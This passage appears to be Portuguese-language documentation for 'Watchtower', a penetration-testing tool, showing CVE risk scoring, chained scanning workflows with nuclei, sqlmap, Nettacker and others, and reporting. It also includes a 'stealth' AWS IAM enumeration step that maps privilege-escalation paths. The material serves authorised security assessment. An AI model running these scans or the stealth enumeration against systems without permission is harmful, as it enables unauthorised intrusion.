mcp__cve-mcp__check_kev(cve_id="CVE-2021-44228")
# 6. Risk Score (composite)
mcp__cve-mcp__calculate_risk_score(cve_id="CVE-2021-44228")
Watchtower Analyst prioriza vulnerabilidades usando:
Risk Score = f(CVSS, EPSS, KEV, PoC)
Factores considerados:
1. CVSS Base Score (0-10)
2. EPSS Score (exploit probability 0-1)
3. KEV Status (CISA Known Exploited)
4. PoC Availability (exploit maturity)
5. Target context (internet-facing, data sensitivity)
Output exemplo:
┌─────────────────────────────────────────────────────────┐
│ Vulnerability Prioritization │
├─────────────────────────────────────────────────────────┤
│ 1. CVE-2026-41940 (cPanel) - Risk: 98/100 [CRITICAL] │
│ - CVSS: 9.8, EPSS: 0.95, KEV: YES, PoC: Available │
│ │
│ 2. CVE-2021-44228 (Log4Shell) - Risk: 95/100 [CRIT] │
│ - CVSS: 10.0, EPSS: 0.98, KEV: YES, PoC: Weaponized │
│ │
│ 3. CVE-2023-42326 (pfSense) - Risk: 87/100 [HIGH] │
│ - CVSS: 8.7, EPSS: 0.45, KEV: NO, PoC: Available │
└─────────────────────────────────────────────────────────┘
# 1. AIRecon para vulnerability planning
airecon "plan vulnerability assessment for target.com"
# 2. Watchtower para automated scanning
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# 3. AIRecon para análise de findings
airecon "analyze watchtower vulnerability findings"
# 4. AIRecon + cve-mcp para risk scoring
airecon "calculate risk scores for discovered CVEs"
# 5. Watchtower gera relatório PDF
python -m watchtower.main --report "vulnerability_analysis_report.pdf"
# 1. Nettacker para CVE scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m *_vuln -o /output/nettacker.html
# 2. Watchtower para análise complementar
python -m watchtower.main -t https://target.com --skip-ask-tools
# 3. Watchtower Analyst compara findings:
# - Nettacker: 50+ CVE checks
# - Watchtower: nuclei (1000+ templates), dalfox, sqlmap, etc.
# 4. Consolidar findings
airecon "merge nettacker and watchtower vulnerability findings"
# 5. Priorizar por risk score
airecon "prioritize vulnerabilities by risk score"
# Watchtower verifica automaticamente:
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# Headers verificados:
# - X-Frame-Options (clickjacking protection)
# - X-Content-Type-Options (MIME sniffing)
# - X-XSS-Protection (XSS filter)
# - Content-Security-Policy (CSP)
# - Strict-Transport-Security (HSTS)
# - Referrer-Policy
# - Permissions-Policy
# Se headers ausentes:
# - Watchtower Analyst categoriza como LOW/MEDIUM
# - Gera remediation para Apache/Nginx/IIS
# - Incluído no relatório PDF
# Watchtower analisa SSL/TLS automaticamente
python -m watchtower.main -t https://www.example.com --skip-ask-tools
# Vulnerabilidades detectadas:
# - Heartbleed (CVE-2014-0160)
# - POODLE (CVE-2014-3566)
# - BEAST (CVE-2011-3389)
# - CRIME (CVE-2012-4929)
# - Weak cipher suites
# - SSLv2/SSLv3/TLS 1.0 support
# - Certificate expiry
# - Self-signed certificates
# - Certificate chain issues
# Ferramentas usadas:
# - testssl.sh: Comprehensive SSL/TLS testing
# - sslyze: Certificate and protocol analysis
Watchtower Analyst implementa validação para reduzir falsos positivos:
Validation Process:
1. Initial detection (nuclei, nikto, etc.)
2. Cross-validation (multiple tools)
3. Context analysis (target environment)
4. Exploit verification (if PoC available)
5. Manual validation flag (for critical findings)
False Positive Reduction Rate: ~85%
# JSON output para integração
python -m watchtower.main -t target.com \
--output json \
--skip-ask-tools \
-o vulnerability_findings.json
# PDF report automático
python -m watchtower.main -t target.com \
--report "vulnerability_report.pdf" \
--skip-ask-tools
# SQLite database para persistência
# Watchtower salva automaticamente em:
# ~/.watchtower/pentest_memory.db
# Tables: findings, vulnerabilities, cve_mappings
# 1. WorstAssume para AWS IAM assessment
worst enumerate --profile <profile> --stealth
worst assess --min-severity HIGH --output json > worst_findings.json
# 2. Watchtower para external vulnerability scanning
python -m watchtower.main -t https://external-target.com --skip-ask-tools
# 3. Consolidar findings
# WorstAssume: IAM privilege escalation paths
# Watchtower: External CVEs and web vulns
airecon "merge worstassume and watchtower findings"
# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_vulnerability_report.pdf"
# Gerar relatório PDF automático (PTES Phase 6)
python -m watchtower.main --report "vulnerability_report.pdf"
# Relatório inclui:
# - Executive Summary
# - Vulnerability Summary by Severity
# - Risk Matrix
# - CVE Details (CVSS, EPSS, KEV, PoC)
# - Technical Findings
# - Remediation Recommendations
# - Tool Output Appendices
# - References (NVD, OWASP, vendor advisories)
Watchtower implementa retry logic e fallback automático:
Se ferramenta falha:
1. Retry com backoff exponencial (2s, 4s, 8s)
2. Fallback para ferramenta alternativa:
- nuclei falha → nikto
- dalfox falha → xsstrike
- testssl.sh falha → sslyze
3. Reporta falha após 3 retries
4. Continua com próximas ferramentas